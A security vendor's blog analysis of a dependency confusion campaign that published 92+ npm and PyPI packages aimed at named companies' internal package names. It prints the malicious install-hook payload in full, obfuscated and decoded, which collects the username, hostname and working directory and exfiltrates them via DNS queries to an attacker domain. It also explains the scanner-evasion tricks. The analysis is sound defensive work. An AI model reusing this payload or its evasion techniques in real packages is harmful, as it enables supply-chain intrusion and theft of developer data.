sl4x0 Dependency Confusion: 92 Packages Target Fortune 500

SafeDep Team
9 min read

Table of Contents

TL;DR

A researcher operating under the sl4x0 identity has been running a dependency confusion campaign since June 2025, publishing 92+ packages across 32 throwaway npm and PyPI accounts targeting over 20 named organizations. Each package exfiltrates the developer’s username, hostname, and working directory via DNS queries to oob[.]sl4x0[.]xyz. The package names suggest they likely target internal dependencies at these organizations. The minimal payload and explicit *poc naming of publisher accounts suggest security research or bug bounty probing rather than a full malicious operation. Regardless of intent, the packages execute code on install and leak developer identity to an unauthorized third party.

Impact:

  • Exfiltrates the local OS username, hostname, and current working directory of any developer who installs a campaign package
  • DNS-based exfiltration bypasses most HTTP-based egress monitoring
  • Reconnaissance data (usernames, hostnames, project directories) enables targeted follow-up attacks
  • Likely targets span Fortune 500 companies, financial institutions, defense contractors, and tech companies

Indicators of Compromise (IoC):

  • Exfiltration domain: oob[.]sl4x0[.]xyz
  • DNS query pattern: <prefix>.<username>.<hostname>.<cwd>.<timestamp>.oob[.]sl4x0[.]xyz
  • Publisher email domain: *@sl4x0[.]xyz
  • Version patterns: 9.9.0, 9.9.9, 9.9.10, 9.9.11, 99.9.9, 99.99.9 (inflated to win dependency confusion)
  • 32 npm/PyPI accounts (full list in Campaign Infrastructure section)

Campaign Overview

Timeline

Data from SafeDep threat intelligence reveals this campaign has been active for 10 months with distinct phases:

PeriodNew PackagesActive AccountsTargets
June 2025336Broad (generic squatting)
July 2025164Broad (continued generic)
Aug 202573Targeted (bbch, callemback, collabhunting)
Sep 202511CrowdStrike
Oct 202543Mixed
Dec 202552Dealfront, generic
Jan 2026148Checkout.com, Santander, Shopee, Zurich Insurance, Wildberries, Blick, Anduril (PyPI)
Feb 202622Coca-Cola, Huawei
Mar 2026107Adobe, Ford, Sony, Xfinity/Comcast, Carnival, Medidata, Tombac

The campaign started with broad namespace squatting in mid-2025, then pivoted to what appear to be targeted, organization-specific attacks in late 2025 and 2026. The *poc suffix on account names (e.g., adobepoc, fordpoc, sonypoc) explicitly labels each as a “proof of concept” against a named target.

All 2025-era accounts have been removed from npm. As of March 24, 2026, packages from the following 2026 accounts remain live: adobepoc, fordpoc, carnivalpoc, xfinitypoc, sonypoc, cocacolapoc, huaweipoc, tombacpoc, medidata.

Campaign Infrastructure

All publisher accounts use email addresses on the sl4x0[.]xyz domain. The exfiltration endpoint oob[.]sl4x0[.]xyz is shared across all packages. The GitHub organization slaxorg (referenced in package.json metadata) does not exist, confirming fabricated provenance.

Complete list of known publisher accounts:

AccountEmailTargetPackagesEcosystemStill Live
adobepocadobepoc@sl4x0[.]xyzAdobe11npmYes
fordpocfordpoc@sl4x0[.]xyzFord Motor2npmYes
carnivalpoccarnivalpoc@sl4x0[.]xyzCarnival Corp1npmYes
xfinitypocxfinitypoc@sl4x0[.]xyzXfinity/Comcast2npmYes
sonypocsonypoc@sl4x0[.]xyzSony1npmYes
cocacolapoccocacolapoc@sl4x0[.]xyzCoca-Cola2npmYes
huaweipochuaweipoc@sl4x0[.]xyzHuawei1npmYes
tombacpoctombacpoc@sl4x0[.]xyzTombac1npmYes
medidatamedidata@sl4x0[.]xyzMedidata Solutions1npmYes
checkoutpoccheckoutpoc@sl4x0[.]xyzCheckout.com2npmNo
wildberriespocwildberriespoc@sl4x0[.]xyzWildberries2npmNo
blickpocblickpoc@sl4x0[.]xyzBlick (media)1npmNo
zurichpoczurich@sl4x0[.]xyzZurich Insurance1npmNo
standardbankstandardbank@sl4x0[.]xyzSantander UK1npmNo
crowdstrikeerrrrrrrcrowdstrikeerrrrrrr@sl4x0[.]xyzCrowdStrike1npmNo
dealfrontpocdealfrontpoc@sl4x0[.]xyzDealfront2npmNo
seacomseacom@sl4x0[.]xyzShopee/Servicepoint3npmNo
uc-platformuc-platform@sl4x0[.]xyzUC Platform1npmNo
global-engineering-sharedglobal-engineering-shared@sl4x0[.]xyzGoogle (gweb)1npmNo
bbchbbch@sl4x0[.]xyzMobile SDK vendor2npmNo
collabhuntingcollab@sl4x0[.]xyzExpedia (UITK)2npmNo
testingnpmtakeoverstestingnpmtakeovers@sl4x0[.]xyzGeneric3npmNo
sl4x0 / researchresearch@sl4x0[.]xyzAnduril3PyPIN/A
slaxoitslaxoit@sl4x0[.]xyzBroad16npmNo
slaxoyouslaxoyou@sl4x0[.]xyzBroad11npmNo
slaxoweslaxowe@sl4x0[.]xyzBroad8npmNo
slaxosheslaxoshe@sl4x0[.]xyzBroad5npmNo
slaxoheslaxohe@sl4x0[.]xyzBroad3npmNo
callembackcallemback@sl4x0[.]xyzBroad8npmNo
vdchhhhvdch@sl4x0[.]xyzGeneric2npmNo
twentyaugusttwentyaugust@sl4x0[.]xyzTwitter (flight)1npmNo

Packages Still Live on npm (as of March 24, 2026)

These packages remain available for download and should be considered actively dangerous:

PackageVersionPublisherTarget
oc-aa-module-client9.9.10adobepocAdobe
oc-navbar-module-client9.9.10adobepocAdobe
oc-ccp-module-client9.9.10adobepocAdobe
oc-pdc-module-client9.9.0adobepocAdobe
oc-conversation-history-module-client9.9.0adobepocAdobe
oc-ecm-module-client9.9.0adobepocAdobe
oc-cip-module-client9.9.0adobepocAdobe
oc-recommendedupgrade-module-client9.9.0adobepocAdobe
oc-agent-toolbar-module-client9.9.0adobepocAdobe
oc-pico-module-client9.9.0adobepocAdobe
@phonos/types9.9.10adobepocAdobe (Phonos)
@wame/ngx-frf-utilities9.9.11fordpocFord
@wame/ngx-adfs9.9.11fordpocFord
cclr-component-resources9.9.10carnivalpocCarnival
@ceeferenderer/itg-renderer-sdk99.9.9xfinitypocXfinity
@ceeferenderer/fe-renderer-sdk99.9.9xfinitypocXfinity
cr-static-shared-components9.9.9sonypocSony
@the-coca-cola-company/ngps-global-common-utils9.9.9cocacolapocCoca-Cola
@the-coca-cola-company/receipt-scanner-admin-lib9.9.9cocacolapocCoca-Cola
@cloudsop/hmoment9.9.9huaweipocHuawei
tombac-chronos9.9.9tombacpocTombac
ftapi-core99.9.9medidataMedidata

Deep Dive: oc-aa-module-client

Package Overview

[email protected] was published to npm on March 22, 2026 by the adobepoc account. This account published 11 packages between March 21 and 22, 2026, all sharing an identical description (“Enterprise-grade utilities with enhanced validation and compatibility layer”), identical keywords, and the same code structure.

The package names likely follow Adobe’s internal Omnichannel module naming convention (oc-*-module-client), apparently targeting modules like Adobe Analytics (aa), Contact Center Platform (ccp), Navigation Bar (navbar), and others. The package.json points to a GitHub organization slaxorg that does not exist, fabricating provenance.

The README is generic boilerplate with placeholder badge URLs (org/repo, package) and ironically claims: “No file system access” and “No network requests.” The package does both through its obfuscated lib/ directory.

Execution Trigger

The package.json defines an install script that executes the entry point on npm install:

package/package.json
"scripts": {
"install": "node index.js"
}

The entry point silently loads the malicious payload:

package/index.js
'use strict';
try {
require('./lib/core');
} catch (e) {}
module.exports = { version: '9.9.10' };

The try/catch with an empty handler ensures the install succeeds silently even if the payload fails. The exported { version: '9.9.10' } provides a benign surface for anyone inspecting the module’s return value.

Malicious Payload

The payload spans three files in lib/: a configuration module, a utilities module, and the core logic.

Configuration (lib/b02e30.js) stores the exfiltration domain and package identifier using hex-encoded character arrays:

package/lib/b02e30.js
'use strict';
const _0x5b3d = [0x6f, 0x6f, 0x62, 0x2e, 0x73, 0x6c, 0x34, 0x78, 0x30, 0x2e, 0x78, 0x79, 0x7a];
const _0x6c4e = 'ocaa';
const _0x7d5f = (s) => {
let r = '';
for (let i = 0; i < s.length; i++) r += String.fromCharCode(s[i]);
return r;
};
module.exports = { p: _0x6c4e, d: _0x7d5f([0x2e]), dom: _0x7d5f(_0x5b3d), decode: _0x7d5f };

Deobfuscated, this resolves to:

module.exports = {
p: 'ocaa', // package identifier for this campaign package
d: '.', // separator
dom: 'oob.sl4x0.xyz', // attacker-controlled exfiltration domain
decode: String.fromCharCode, // utility function reused by core.js
};

Utilities (lib/6ad264.js) loads Node.js built-in modules through module.constructor._load() to avoid plain require() calls that static scanners flag:

package/lib/6ad264.js
'use strict';
const _0xb1i9 = (x) => {
let s = '';
for (let i = 0; i < x.length; ++i) s += String.fromCharCode(x[i]);
return s;
};
const _0xc2j0 = module.constructor[_0xb1i9([0x5f, 0x6c, 0x6f, 0x61, 0x64])](_0xb1i9([0x6f, 0x73]));
const _0xd3k1 = module.constructor[_0xb1i9([0x5f, 0x6c, 0x6f, 0x61, 0x64])](_0xb1i9([0x64, 0x6e, 0x73]));
const _0xe4l2 = global[_0xb1i9([0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73])];
const clean = (s) => (s + '').replace(/[^a-z0-9]/gi, '').slice(0, 15);
module.exports = { os: _0xc2j0, dns: _0xd3k1, proc: _0xe4l2, clean: clean };

Deobfuscated:

const os = module.constructor._load('os'); // avoids require('os')
const dns = module.constructor._load('dns'); // avoids require('dns')
const proc = global.process;
const clean = (s) => (s + '').replace(/[^a-z0-9]/gi, '').slice(0, 15);
module.exports = { os, dns, proc, clean };

The clean() function strips non-alphanumeric characters and truncates to 15 characters, ensuring the collected data fits within DNS label length limits (max 63 characters per label).

Core payload (lib/core.js) collects system information and exfiltrates it via DNS:

package/lib/core.js
'use strict';
const cfg = require('./b02e30');
const util = require('./6ad264');
(() => {
let u = 'u',
h = 'h',
c = 'd';
try {
u = util.clean(
util.os[cfg.decode([0x75, 0x73, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f])]()?.[
cfg.decode([0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65])
]
);
} catch (e) {}
try {
h = util.clean(util.os[cfg.decode([0x68, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65])]());
} catch (e) {}
try {
c = util.clean(
util.proc[cfg.decode([0x63, 0x77, 0x64])]()
.split(/[\/\\]/)
.pop()
);
} catch (e) {}
const t = Math.floor(Date.now() / 1e3);
const q = [cfg.p, u || 'u', h || 'h', c || 'd', t, cfg.dom].join(cfg.d);
try {
util.dns[cfg.decode([0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x34])](q, () => {});
} catch (e) {}
})();

Deobfuscated:

const cfg = require('./b02e30');
const util = require('./6ad264');
(() => {
let u = 'u',
h = 'h',
c = 'd'; // fallback values
try {
u = util.clean(util.os.userInfo()?.username);
} catch (e) {}
try {
h = util.clean(util.os.hostname());
} catch (e) {}
try {
c = util.clean(
util.proc
.cwd()
.split(/[\/\\]/)
.pop()
);
} catch (e) {}
const t = Math.floor(Date.now() / 1000); // unix timestamp
const q = ['ocaa', u, h, c, t, 'oob.sl4x0.xyz'].join('.');
// e.g. "ocaa.jsmith.devbox42.myproject.1711234567.oob.sl4x0.xyz"
try {
util.dns.resolve4(q, () => {});
} catch (e) {}
})();

Data Exfiltration via DNS

The attack uses DNS as a covert exfiltration channel. By calling dns.resolve4() with a crafted subdomain query, the collected data travels through DNS resolution to the attacker’s authoritative nameserver for oob[.]sl4x0[.]xyz. The attacker reads the data directly from DNS query logs without needing the resolution to succeed.

The exfiltration query follows this structure:

ocaa.<username>.<hostname>.<cwd_dirname>.<unix_timestamp>.oob.sl4x0.xyz

A developer named jsmith working on machine adobe-dev-42 in directory /home/jsmith/code/omnichannel-platform would generate:

ocaa.jsmith.adobedev42.omnichannelplatf.1711234567.oob.sl4x0.xyz

This approach is effective for several reasons. DNS traffic is rarely blocked or inspected by corporate firewalls. The query looks like normal DNS resolution to network monitoring tools. No HTTP connection or response is needed; the query itself carries the data. The empty callback () => {} means the code does not wait for or process the response.

The ocaa prefix identifies which campaign package triggered the beacon, allowing the attacker to correlate responses across the 11+ Adobe packages (each would use a different prefix like occcp, ocnavbar, etc.).

This is the same fundamental technique we analyzed in the Schedaero dependency confusion campaign, though that campaign used HTTP-based exfiltration rather than DNS. The DNS approach is stealthier since it sidesteps HTTP egress monitoring entirely. Similar dependency confusion patterns using Burp Collaborator have also been documented targeting other organizations.

Obfuscation Techniques

The package uses three layers of obfuscation:

  1. Hex-encoded string literals: Method names like userInfo, hostname, cwd, and resolve4 are passed as hex byte arrays ([0x75, 0x73, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f]) and decoded at runtime via String.fromCharCode. This evades static string matching by scanners looking for suspicious API calls.

  2. Indirect module loading: Instead of require('os') or require('dns'), the code uses module.constructor._load('os'). This private Node.js API achieves the same result but avoids triggering require() pattern matching in security tools.

  3. Decoy source files: The src/ directory contains ~600 lines of legitimate, well-documented utility code (validation, formatting, crypto wrappers) that serves no functional purpose. The index.js entry point never imports anything from src/. These files exist solely to make the package appear legitimate during cursory review.

Dependency Confusion Strategy

All packages in this campaign use abnormally high version numbers (9.9.0, 9.9.10, 99.9.9, 99.99.9). This is the hallmark of dependency confusion: when a build system pulls from both a private registry and the public npm registry, it resolves to the highest available version. By publishing version 99.99.9 of a package that internally exists at version 2.3.1, the attacker ensures the public (malicious) version wins.

The package names are not random. They likely match internal package naming conventions at each apparent target organization:

  • Adobe: oc-*-module-client (likely Omnichannel platform modules)
  • Ford: @wame/ngx-* (likely Angular modules under Ford’s WAME framework)
  • Coca-Cola: @the-coca-cola-company/* (scoped company packages)
  • Xfinity: @ceeferenderer/* (likely internal renderer SDK)
  • Wildberries: @wb-team/*, @wbgo/* (likely internal team packages)

This level of specificity suggests the attacker performed reconnaissance on each target’s internal package ecosystem before publishing. The Hyatt-targeting campaign we previously analyzed used the same version inflation strategy (999.999.999) against hospitality sector targets.

Conclusion

The sl4x0 campaign is a sustained, multi-target dependency confusion operation active since June 2025. The explicit *poc account naming, minimal DNS-only payload, and absence of credential theft or persistence strongly suggest security research or bug bounty probing rather than a destructive attack. The packages still execute arbitrary code on install and leak developer identity to an unauthorized third party, which represents real supply chain risk regardless of intent.

As of March 24, 2026, 22 packages across 9 publisher accounts remain live on npm. Organizations whose internal package names appear in the IoC list should:

  1. Audit .npmrc and registry configurations to ensure private packages resolve from internal registries only
  2. Monitor DNS logs for queries to oob[.]sl4x0[.]xyz
  3. Treat any system that installed a campaign package as compromised for reconnaissance purposes
  4. Use tools like vet to detect malicious packages before they enter the build pipeline

References

  • npm
  • oss
  • malware
  • supply-chain
  • security
  • dependency-confusion

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code

Not Malware

Install the SafeDep GitHub App to keep malicious packages out of your repos.

GitHub Install GitHub App